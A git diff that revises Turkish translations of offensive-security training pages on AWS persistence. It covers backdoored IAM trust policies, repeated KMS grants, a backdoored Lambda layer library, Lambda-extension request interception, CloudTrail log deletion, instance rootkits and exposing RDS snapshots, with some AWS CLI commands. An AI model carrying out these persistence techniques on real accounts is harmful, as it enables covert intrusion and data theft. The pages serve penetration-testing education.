a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -4,7 +4,7 @@ ## IAM -Daha fazla bilgi için erişin: +Daha fazla bilgi için erişim: {{#ref}} ../aws-services/aws-iam-enum.md @@ -21,7 +21,7 @@ Daha fazla bilgi için erişin: ### Arka Kapı Rol Güven Politikaları -Bir güven politikasını arka kapı ile oluşturabilir ve bunu sizin kontrolünüzdeki bir dış kaynak için üstlenebilirsiniz (veya herkes için): +Bir güven politikasını arka kapı ile kontrol ettiğiniz bir dış kaynak için üstlenebilmek amacıyla değiştirebilirsiniz (veya herkes için): ```json { "Version": "2012-10-17", @@ -36,12 +36,12 @@ Bir güven politikasını arka kapı ile oluşturabilir ve bunu sizin kontrolün ] } ``` -### Arka Kapı Politika Versiyonu +### Arka Kapı Politikası Versiyonu -Bir politikaya, son versiyonu değil, Yönetici izinleri verin (son versiyon meşru görünmelidir), ardından o politikanın versiyonunu kontrol edilen bir kullanıcı/gruba atayın. +Bir politikaya son versiyonu olmayan Yönetici izinleri verin (son versiyon meşru görünmelidir), ardından o politikanın versiyonunu kontrol edilen bir kullanıcı/gruba atayın. ### Arka Kapı / Kimlik Sağlayıcı Oluştur -Eğer hesap zaten yaygın bir kimlik sağlayıcıya (örneğin Github) güveniyorsa, güvenin koşulları artırılabilir, böylece saldırgan bunları kötüye kullanabilir. +Eğer hesap zaten yaygın bir kimlik sağlayıcıya (örneğin Github) güveniyorsa, güvenin koşulları artırılabilir, böylece saldırgan bunları kötüye kullanabilir. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index dce508d41..a222ba9c4 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -16,11 +16,11 @@ Bir saldırgan, **`kms:PutKeyPolicy`** iznini kullanarak bir anahtara kontrolü ### Sonsuz İzin -İzinler, bir anahtar üzerinde bir ilkeye bazı izinler vermenin başka bir yoludur. Bir kullanıcının izin oluşturmasına olanak tanıyan bir izin vermek mümkündür. Ayrıca, bir kullanıcının aynı anahtar üzerinde birden fazla izin (hatta aynı) olması mümkündür. +İzinler, bir anahtar üzerinde bir prensibe bazı izinler vermenin başka bir yoludur. Bir kullanıcının izin oluşturmasına olanak tanıyan bir izin vermek mümkündür. Dahası, bir kullanıcının aynı anahtar üzerinde birden fazla izin (hatta aynı) olabilir. Bu nedenle, bir kullanıcının tüm izinlere sahip 10 izni olması mümkündür. Saldırgan bunun sürekli olarak izlenmesi gerektiğini bilmelidir. Ve eğer bir noktada 1 izin kaldırılırsa, başka 10 izin oluşturulmalıdır. -(Bir iznin kaldırıldığını tespit edebilmek için 10 kullanıyoruz ve 2 değil, çünkü kullanıcı hala bazı izinlere sahip.) +(Bir iznin kaldırıldığını tespit edebilmek için 10 kullanıyoruz ve 2 değil, çünkü kullanıcı hala bazı izinlere sahipken bir iznin kaldırıldığını tespit edebilmek için.) ```bash # To generate grants, generate 10 like this one aws kms create-grant \ @@ -32,6 +32,6 @@ aws kms create-grant \ aws kms list-grants --key-id ``` > [!NOTE] -> Bir grant yalnızca şu izinleri verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) +> Bir grant yalnızca şunlardan izin verebilir: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index e649eec4f..dae992793 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin: ### Lambda Katmanı Sürekliliği -Lambda çalıştırıldığında **rastgele kod çalıştırmak için bir katman tanıtmak/arka kapı eklemek** mümkündür: +Lambda çalıştırıldığında **rastgele kod çalıştırmak için bir katman tanıtmak/arka kapı oluşturmak** mümkündür: {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Uzantı Sürekliliği -Lambda Katmanlarını kötüye kullanarak uzantıları da kötüye kullanmak ve lambdada kalıcı olmak, ayrıca istekleri çalmak ve değiştirmek mümkündür. +Lambda Katmanlarını kötüye kullanarak uzantıları da kötüye kullanmak ve lambda'da kalıcı olmak, ayrıca istekleri çalmak ve değiştirmek mümkündür. {{#ref}} aws-abusing-lambda-extensions.md @@ -28,37 +28,37 @@ aws-abusing-lambda-extensions.md ### Kaynak politikaları aracılığıyla -Farklı lambda eylemlerine (örneğin çağırma veya kod güncelleme gibi) dış hesaplara erişim vermek mümkündür: +Farklı lambda eylemlerine (örneğin çağırma veya kod güncelleme) dış hesaplara erişim vermek mümkündür:
### Sürümler, Takma Adlar & Ağırlıklar -Bir Lambda **farklı sürümlere** (her sürümde farklı kodlarla) sahip olabilir.\ -Sonra, lambdanın **farklı sürümleriyle farklı takma adlar** oluşturabilir ve her birine farklı ağırlıklar ayarlayabilirsiniz.\ +Bir Lambda'nın **farklı sürümleri** (her sürümde farklı kod) olabilir.\ +Sonra, lambda'nın **farklı sürümleri ile farklı takma adlar** oluşturabilir ve her birine farklı ağırlıklar ayarlayabilirsiniz.\ Bu şekilde bir saldırgan **arka kapılı sürüm 1** ve **yalnızca meşru kod içeren sürüm 2** oluşturabilir ve **isteklerin %1'inde yalnızca sürüm 1'i çalıştırarak** gizli kalabilir.
### Sürüm Arka Kapısı + API Gateway -1. Lambdanın orijinal kodunu kopyalayın -2. Orijinal kodu **arka kapı ekleyerek yeni bir sürüm oluşturun** (veya sadece kötü niyetli kodla). Bu sürümü yayınlayın ve **$LATEST'e dağıtın** -1. Kodu çalıştırmak için lambdayla ilgili API geçidini çağırın -3. **Orijinal kodla yeni bir sürüm oluşturun**, yayınlayın ve bu **sürümü** $LATEST'e dağıtın. +1. Lambda'nın orijinal kodunu kopyalayın +2. Orijinal kodu (veya sadece kötü niyetli kod ile) **arka kapı oluşturarak yeni bir sürüm oluşturun**. Bu sürümü yayınlayın ve **$LATEST'e dağıtın** +1. Kodu çalıştırmak için lambda ile ilgili API geçidini çağırın +3. **Orijinal kod ile yeni bir sürüm oluşturun**, Bu **sürümü** yayınlayın ve **$LATEST'e dağıtın**. 1. Bu, arka kapılı kodu önceki bir sürümde gizleyecektir 4. API Gateway'e gidin ve **arka kapılı sürümü çalıştıracak yeni bir POST yöntemi oluşturun** (veya başka bir yöntemi seçin): `arn:aws:lambda:us-east-1::function::1` -1. Sonundaki :1'in **işlevin sürümünü gösterdiğini** unutmayın (bu senaryoda sürüm 1 arka kapılı olacaktır). +1. ARN'nin sonundaki :1'in **fonksiyonun sürümünü gösterdiğini** unutmayın (bu senaryoda sürüm 1 arka kapılı olan olacaktır). 5. Oluşturulan POST yöntemini seçin ve Eylemler'de **`API'yi Dağıt`** seçin -6. Artık, **POST aracılığıyla işlevi çağırdığınızda Arka Kapınız** tetiklenecektir +6. Artık, **POST aracılığıyla fonksiyonu çağırdığınızda Arka Kapınız** tetiklenecektir ### Cron/Olay aktüatörü -**Lambda işlevlerinin bir şey olduğunda veya bir süre geçtiğinde çalışmasını sağlamak**, lambdayı süreklilik sağlamak ve tespiti önlemek için hoş ve yaygın bir yol haline getirir.\ -AWS'deki **varlığınızı daha gizli hale getirmek için lambdalar oluşturma** konusunda bazı fikirleriniz var. +Bir şey olduğunda veya bir süre geçtiğinde **lambda fonksiyonlarının çalışmasını sağlamak**, lambda'yı süreklilik elde etmek ve tespiti önlemek için güzel ve yaygın bir yol haline getirir.\ +AWS'deki **varlığınızı daha gizli hale getirmek için lambdalar oluşturma** konusunda bazı fikirler: - Her yeni kullanıcı oluşturulduğunda lambda yeni bir kullanıcı anahtarı oluşturur ve bunu saldırgana gönderir. - Her yeni rol oluşturulduğunda lambda, tehlikeye atılmış kullanıcılara rol üstlenme izinleri verir. -- Her yeni cloudtrail kaydı oluşturulduğunda, bunları silin/değiştirin. +- Her yeni cloudtrail günlüğü oluşturulduğunda, bunları silin/değiştirin {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index cf48d9abd..9153d9ae6 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -4,14 +4,14 @@ ## Lambda Uzantıları -Lambda uzantıları, çeşitli **izleme, gözlemlenebilirlik, güvenlik ve yönetişim araçları** ile entegrasyon sağlayarak işlevleri geliştirir. Bu uzantılar, [.zip arşivleri kullanarak Lambda katmanları](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) aracılığıyla eklenir veya [konteyner görüntüsü dağıtımlarında](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) yer alır ve iki modda çalışır: **içsel** ve **dışsal**. +Lambda uzantıları, çeşitli **izleme, gözlemlenebilirlik, güvenlik ve yönetişim araçları** ile entegrasyon sağlayarak işlevleri geliştirir. Bu uzantılar, [.zip arşivleri kullanarak Lambda katmanları](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) aracılığıyla veya [konteyner görüntüsü dağıtımları](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) içinde eklenerek iki modda çalışır: **içsel** ve **dışsal**. - **İçsel uzantılar**, çalışma zamanı süreciyle birleşerek, **dil spesifik ortam değişkenleri** ve **sarmalayıcı betikler** kullanarak başlatmasını manipüle eder. Bu özelleştirme, **Java Correto 8 ve 11, Node.js 10 ve 12, ve .NET Core 3.1** dahil olmak üzere çeşitli çalışma zamanlarına uygulanır. - **Dışsal uzantılar**, ayrı süreçler olarak çalışır ve Lambda işlevinin yaşam döngüsü ile operasyon uyumunu korur. **Node.js 10 ve 12, Python 3.7 ve 3.8, Ruby 2.5 ve 2.7, Java Corretto 8 ve 11, .NET Core 3.1** ve **özel çalışma zamanları** gibi çeşitli çalışma zamanlarıyla uyumludur. -[**Lambda uzantılarının nasıl çalıştığı hakkında daha fazla bilgi için belgeleri kontrol edin**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). +Daha fazla bilgi için [**lambda uzantılarının nasıl çalıştığını kontrol edin**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). -### Süreklilik, İstekleri Çalma ve İstekleri Değiştirme için Dışsal Uzantı +### Kalıcılık, İstekleri Çalma ve İstekleri Değiştirme için Dışsal Uzantı Bu, bu yazıda önerilen tekniğin bir özetidir: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) @@ -19,20 +19,20 @@ Lambda çalışma zamanı ortamındaki varsayılan Linux çekirdeğinin “**pro Ayrıca, Lambda uzantıları **çağrı olaylarına abone olma** yeteneğine sahipken, AWS bu uzantılara ham verileri açıklamaz. Bu, **uzantıların HTTP isteği aracılığıyla iletilen hassas bilgilere erişemeyeceğini** garanti eder. -Init (Rapid) süreci, [http://127.0.0.1:9001](http://127.0.0.1:9001/) adresinde tüm API isteklerini izlerken, Lambda uzantıları başlatılır ve herhangi bir çalışma zamanı kodunun yürütülmesinden önce, ancak Rapid'ten sonra çalışır. +Init (Rapid) süreci, Lambda uzantıları başlatılırken ve herhangi bir çalışma zamanı kodu yürütülmeden önce, tüm API isteklerini [http://127.0.0.1:9001](http://127.0.0.1:9001/) adresinde izler, ancak Rapid'ten sonra.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png

**`AWS_LAMBDA_RUNTIME_API`** değişkeni, **çocuk çalışma zamanı süreçlerine** ve ek uzantılara Rapid API'nin **IP** adresini ve **port** numarasını gösterir. > [!WARNING] -> **`AWS_LAMBDA_RUNTIME_API`** ortam değişkenini erişim sağladığımız bir **`port`** ile değiştirerek, Lambda çalışma zamanı içindeki tüm eylemleri kesmek mümkündür (**man-in-the-middle**). Bu, uzantının Rapid Init ile aynı ayrıcalıklarla çalışmasından ve sistemin çekirdeğinin **işlem belleğini değiştirmeye** izin vermesinden kaynaklanmaktadır; bu da port numarasının değiştirilmesini sağlar. +> **`AWS_LAMBDA_RUNTIME_API`** ortam değişkenini erişim sağladığımız bir **`port`** ile değiştirerek, Lambda çalışma zamanı içindeki tüm eylemleri kesmek mümkündür (**man-in-the-middle**). Bu, uzantının Rapid Init ile aynı ayrıcalıklara sahip olması ve sistemin çekirdeğinin **işlem belleğinin değiştirilmesine** izin vermesi nedeniyle mümkündür; bu da port numarasının değiştirilmesini sağlar. -Çünkü **uzantılar herhangi bir çalışma zamanı kodundan önce çalışır**, ortam değişkenini değiştirmek, çalışma zamanı süreci (örneğin, Python, Java, Node, Ruby) başlarken etkileyecektir. Ayrıca, bu değişkene bağımlı olan **uzantılarımızdan sonra yüklenen** uzantılar da uzantımız üzerinden yönlendirilecektir. Bu yapı, kötü amaçlı yazılımların güvenlik önlemlerini tamamen atlamasına veya doğrudan çalışma zamanı ortamında günlük uzantılarını atlamasına olanak tanıyabilir. +**Uzantılar herhangi bir çalışma zamanı kodundan önce çalıştığı için**, ortam değişkenini değiştirmek, çalışma zamanı süreci (örneğin, Python, Java, Node, Ruby) başlarken etkileyecektir. Ayrıca, bu değişkene bağımlı olan **uzantılarımızdan sonra yüklenen** uzantılar da uzantımız üzerinden yönlendirilecektir. Bu yapı, kötü amaçlı yazılımların güvenlik önlemlerini tamamen atlamasına veya doğrudan çalışma zamanı ortamında günlük uzantılarını atlatmasına olanak tanıyabilir.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

-[**lambda-spy**](https://github.com/clearvector/lambda-spy) aracı, bu **bellek yazma** ve lambda isteklerinden hassas bilgileri **çalma** ve hatta **değiştirme** işlemlerini gerçekleştirmek için oluşturulmuştur. +[**lambda-spy**](https://github.com/clearvector/lambda-spy) aracı, bu **bellek yazma** ve lambda isteklerinden hassas bilgileri **çalma**, diğer **uzantıların** **isteklerini** **değiştirme** işlemlerini gerçekleştirmek için oluşturulmuştur. ## Referanslar diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index 09e08df25..b5f2ab72f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -4,13 +4,13 @@ ## Lambda Katmanları -Bir Lambda katmanı, **ekstra kod** veya diğer içerikleri **içerebilen** bir .zip dosyası arşividir. Bir katman, kütüphaneler, bir [özel çalışma zamanı](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), veri veya yapılandırma dosyaları içerebilir. +Bir Lambda katmanı, **ekstra kod** veya diğer içerikleri **içerebilen** bir .zip dosyası arşividir. Bir katman, kütüphaneler, bir [özel çalışma zamanı](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), veriler veya yapılandırma dosyaları içerebilir. -Her fonksiyon için **beş katmana kadar** dahil etmek mümkündür. Bir katmanı bir fonksiyona dahil ettiğinizde, **içerikler yürütme ortamındaki `/opt`** dizinine çıkarılır. +Her işlev için **beş katmana kadar** dahil etmek mümkündür. Bir katmanı bir işlevde dahil ettiğinizde, **içerikler `/opt`** dizinine çıkarılır. -**Varsayılan olarak**, oluşturduğunuz **katmanlar** AWS hesabınıza **özel**dir. Bir katmanı diğer hesaplarla **paylaşmayı** veya katmanı **genel** hale getirmeyi seçebilirsiniz. Fonksiyonlarınız, farklı bir hesap tarafından yayımlanan bir katmanı tüketiyorsa, fonksiyonlarınız **katman silindikten sonra veya katmana erişim izniniz geri alındıktan sonra katman sürümünü kullanmaya devam edebilir**. Ancak, silinmiş bir katman sürümünü kullanarak yeni bir fonksiyon oluşturamaz veya fonksiyonları güncelleyemezsiniz. +**Varsayılan olarak**, oluşturduğunuz **katmanlar** AWS hesabınıza **özel**dir. Bir katmanı diğer hesaplarla **paylaşmayı** veya katmanı **genel** hale getirmeyi seçebilirsiniz. Eğer işlevleriniz, farklı bir hesap tarafından yayımlanan bir katmanı kullanıyorsa, işlevleriniz **katman silindikten sonra veya katmana erişim izniniz geri alındıktan sonra katman sürümünü kullanmaya devam edebilir**. Ancak, silinmiş bir katman sürümünü kullanarak yeni bir işlev oluşturamaz veya işlevleri güncelleyemezsiniz. -Bir konteyner görüntüsü olarak dağıtılan fonksiyonlar katmanları kullanmaz. Bunun yerine, görüntüyü oluşturduğunuzda tercih ettiğiniz çalışma zamanı, kütüphaneler ve diğer bağımlılıkları konteyner görüntüsüne paketlersiniz. +Konteyner görüntüsü olarak dağıtılan işlevler katmanları kullanmaz. Bunun yerine, görüntüyü oluşturduğunuzda tercih ettiğiniz çalışma zamanı, kütüphaneler ve diğer bağımlılıkları konteyner görüntüsüne paketlersiniz. ### Python yükleme yolu @@ -18,23 +18,23 @@ Python'un lambda'da kullanacağı yükleme yolu şudur: ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` -Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`** +İkinci ve üçüncü pozisyonların, **lambda layers** dosyalarını açtığı dizinler tarafından nasıl kaplandığını kontrol edin: **`/opt/python/lib/python3.9/site-packages`** ve **`/opt/python`** > [!CAUTION] -> Eğer bir saldırgan kullanılan bir lambda **layer**'ına **arka kapı** eklemeyi veya **bir tane eklemeyi** başarırsa ve bu, **yaygın bir kütüphane yüklendiğinde rastgele kod çalıştırıyorsa**, her lambda çağrısında kötü niyetli kod çalıştırabilir. +> Eğer bir saldırgan kullanılan bir lambda **layer**'ına **arka kapı** eklemeyi veya **bir tane eklemeyi** başarırsa ve bu, **yaygın bir kütüphane yüklendiğinde rastgele kod çalıştırıyorsa**, her lambda çağrısında kötü niyetli kod çalıştırabilecektir. Bu nedenle, gereksinimler şunlardır: -- **Kurbanların kodu tarafından yüklenen kütüphaneleri kontrol et** -- **Özel kod çalıştıracak ve orijinal** kütüphaneyi **yükleyecek bir proxy kütüphanesi oluştur.** +- Kurbanın kodu tarafından **yüklenen kütüphaneleri** kontrol et +- **Özel kodu çalıştıracak ve orijinal** kütüphaneyi **yükleyecek** bir **proxy kütüphanesi** oluştur. -### Önceden yüklenmiş kütüphaneler +### Önceden Yüklenmiş Kütüphaneler > [!WARNING] > Bu tekniği kötüye kullanırken bir zorlukla karşılaştım: Bazı kütüphaneler, kodunuz çalıştırıldığında python çalışma zamanında **zaten yüklenmiş** durumda. `os` veya `sys` gibi şeyler bulmayı bekliyordum, ama **hatta `json` kütüphanesi bile yüklüydü**.\ -> Bu kalıcılık tekniğini kötüye kullanmak için, kod çalıştırıldığında **yüklenmemiş yeni bir kütüphaneyi yüklemesi** gerekiyor. +> Bu kalıcılık tekniğini kötüye kullanmak için, kod çalıştırıldığında **yüklenmemiş yeni bir kütüphaneyi** **yüklemesi** gerekiyor. -Bu python kodu ile lambda'da python çalışma zamanında **önceden yüklenmiş kütüphanelerin listesini** elde etmek mümkündür: +Bu python kodu ile, lambda'da python çalışma zamanında **önceden yüklenmiş kütüphanelerin listesini** elde etmek mümkündür: ```python import sys @@ -54,14 +54,14 @@ Ve bu, **lambda'nın varsayılan olarak yüklediği kütüphaneler** listesidir: Bu örnekte, hedef kodun **`csv`**'yi içe aktardığını varsayalım. **`csv` kütüphanesinin içe aktarımına arka kapı koyacağız**. -Bunu yapmak için, **`/opt/python/lib/python3.9/site-packages`** yolunda **csv** adlı dizini ve içinde **`__init__.py`** dosyasını oluşturacağız.\ -Sonra, lambda çalıştırıldığında ve **csv**'yi yüklemeye çalıştığında, **`__init__.py` dosyamız yüklenecek ve çalıştırılacaktır**.\ +Bunu yapmak için, lambda tarafından yüklenen bir yolda **`/opt/python/lib/python3.9/site-packages`** **csv** dizinini ve içinde **`__init__.py`** dosyasını oluşturacağız.\ +Daha sonra, lambda çalıştırıldığında ve **csv**'yi yüklemeye çalıştığında, **`__init__.py` dosyamız yüklenecek ve çalıştırılacaktır**.\ Bu dosya şunları yapmalıdır: - Payload'ımızı çalıştırmak - Orijinal csv kütüphanesini yüklemek -Her ikisini de şu şekilde yapabiliriz: +Bunları şunlarla yapabiliriz: ```python import sys from urllib import request @@ -83,7 +83,7 @@ import csv as _csv sys.modules["csv"] = _csv ``` -Sonra, bu kodu **`python/lib/python3.9/site-packages/__init__.py`** yolunda bir zip dosyası oluşturun ve bunu bir lambda katmanı olarak ekleyin. +Ardından, bu kodu **`python/lib/python3.9/site-packages/__init__.py`** yolunda bir zip dosyası oluşturun ve bunu bir lambda katmanı olarak ekleyin. Bu kodu [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) adresinde bulabilirsiniz. @@ -95,14 +95,14 @@ Entegre yük, **ilk kez çağrıldığında veya lambda konteynerinin sıfırlan ### Harici Katmanlar -**Harici hesaplardan lambda katmanları** kullanmanın mümkün olduğunu unutmayın. Ayrıca, bir lambda, izinleri olmasa bile harici bir hesaptan bir katmanı kullanabilir.\ +**Harici hesaplardan lambda katmanları kullanmanın mümkün olduğunu** unutmayın. Ayrıca, bir lambda, izinleri olmasa bile harici bir hesaptan bir katmanı kullanabilir.\ Ayrıca, bir lambda'nın sahip olabileceği **maksimum katman sayısının 5 olduğunu** unutmayın. Bu nedenle, bu tekniğin çok yönlülüğünü artırmak için bir saldırgan şunları yapabilir: -- Kullanıcının mevcut bir katmanını arka kapı ile değiştirmek (hiçbir şey harici değil) -- **Kendi hesabında** bir **katman oluşturmak**, **kurban hesabına katmanı kullanma erişimi vermek**, **katmanı** kurbanın Lambda'sında **yapılandırmak** ve **izinleri kaldırmak**. -- **Lambda**, **katmanı kullanmaya** devam edebilecek ve **kurban**, **katman kodunu indirmek için** kolay bir yol bulamayacaktır (lambda içinde bir rev shell almanın dışında). +- Kullanıcının mevcut bir katmanını arka kapı ile ele geçirmek (hiçbir şey harici değil) +- **Kendi hesabında** bir **katman oluşturmak**, **kurban hesabına** katmanı kullanma erişimi vermek, **katmanı** kurbanın Lambda'sında **yapılandırmak** ve **izinleri kaldırmak**. +- **Lambda**, **katmanı** kullanmaya devam edebilecek ve **kurban**, **katman kodunu indirmek için** kolay bir yol bulamayacaktır (lambda içinde bir rev shell elde etmek dışında). - Kurban, **`aws lambda list-layers`** ile kullanılan harici katmanları **görmeyecek**. ```bash # Upload backdoor layer diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index 396c8fd84..fe87ed88e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -20,14 +20,14 @@ Bir saldırgan instance'lara erişim sağlayabilir ve onlara arka kapı ekleyebi - Örneğin geleneksel bir **rootkit** kullanarak - Yeni bir **genel SSH anahtarı** ekleyerek -- Bir arka kapı ile port knocking ile bir port açarak +- Arka kapı ile port knocking kullanarak bir port açarak ### DNS sürekliliği Eğer alan adları yapılandırılmışsa: -- IP'nizi işaret eden bir alt alan adı oluşturun, böylece bir **alt alan adı ele geçirme** gerçekleştirebilirsiniz. +- IP'nizi işaret eden bir alt alan adı oluşturun, böylece bir **alt alan adı ele geçirme** gerçekleştirmiş olursunuz. - Alan adından **e-posta** göndermenizi sağlayan bir **SPF** kaydı oluşturun. -- **Ana alan IP'sini kendi IP'nizle** yapılandırın ve kendi IP'nizden meşru olanlara bir **MitM** gerçekleştirin. +- **Ana alan IP'sini kendi IP'nizle** yapılandırın ve kendi IP'nizden meşru olanlara karşı bir **MitM** gerçekleştirin. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index 79a4f4665..5140f6e27 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -16,9 +16,9 @@ Bu izne sahip bir saldırgan, **mevcut bir RDS örneğini herkese açık erişil ```bash aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately ``` -### Veritabanı içinde bir yönetici kullanıcısı oluşturun +### Veritabanında bir yönetici kullanıcısı oluşturun -Bir saldırgan, **veritabanı içinde bir kullanıcı oluşturabilir**, böylece ana kullanıcı şifresi değiştirilse bile **veritabanına erişimini kaybetmez**. +Bir saldırgan, **veritabanında bir kullanıcı oluşturabilir**, böylece ana kullanıcı şifresi değiştirilse bile **veritabanına erişimini kaybetmez**. ### Anlık görüntüyü herkese açık hale getirin ```bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index 8fde0947f..1c3d303c2 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -16,7 +16,7 @@ Daha fazla bilgi için kontrol edin:
-Bu nedenle, bir saldırgan bu anahtarı meta verilerden alabilir ve KMS ile şifre çözme işlemi yaparak (`aws kms decrypt`) bilgileri şifrelemek için kullanılan anahtarı elde edebilir. Bu şekilde saldırgan şifreleme anahtarına sahip olacak ve eğer bu anahtar diğer dosyaları şifrelemek için yeniden kullanılırsa, onu kullanabilecektir. +Bu nedenle, bir saldırgan bu anahtarı meta verilerden alabilir ve KMS ile şifre çözme işlemi yaparak bilgileri şifrelemek için kullanılan anahtarı elde edebilir. Bu şekilde saldırgan şifreleme anahtarına sahip olacak ve eğer bu anahtar diğer dosyaları şifrelemek için yeniden kullanılırsa, onu kullanabilecektir. ### S3 ACL'lerini Kullanma diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index 5ca2b2c21..d14c49b15 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin: ### Kaynak Politikaları Aracılığıyla -Kaynak politikaları aracılığıyla **gizli bilgilere dış hesapların erişimini sağlamak** mümkündür. Daha fazla bilgi için [**Secrets Manager Privesc sayfasını**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) kontrol edin. **Bir gizli bilgiye erişmek** için dış hesabın ayrıca **gizli bilgiyi şifreleyen KMS anahtarına erişimi olması gerektiğini** unutmayın. +Kaynak politikaları aracılığıyla **gizli bilgilere dış hesaplara erişim vermek** mümkündür. Daha fazla bilgi için [**Secrets Manager Privesc sayfasını**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) kontrol edin. **Bir gizli bilgiye erişmek** için, dış hesabın ayrıca **gizli bilgiyi şifreleyen KMS anahtarına erişimi olması gerektiğini** unutmayın. ### Secrets Rotate Lambda Aracılığıyla diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index 0d3b6b0c6..d3f89be91 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -63,9 +63,9 @@ Aşağıdaki politika, AWS'deki herkesin **`MySNS.fifo`** adlı SNS konusuna oku ] } ``` -### Aboneler Oluştur +### Abone Oluşturma -Tüm konulardan tüm mesajları dışarı aktarmaya devam etmek için saldırgan **tüm konular için aboneler oluşturabilir**. +Tüm konulardan tüm mesajları dışa aktarmaya devam etmek için saldırgan **tüm konular için aboneler oluşturabilir**. **Konu FIFO türündeyse**, yalnızca **SQS** protokolünü kullanan aboneler kullanılabilir. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index 09a229b21..2ca32beaf 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -13,7 +13,7 @@ Daha fazla bilgi için kontrol edin: ### Kaynak politikasını kullanma SQS'de **kimlerin okuma ve yazma erişimine sahip olduğunu** IAM politikası ile belirtmeniz gerekir. Harici hesapları, rol ARN'lerini veya **hatta "\*"** belirtmek 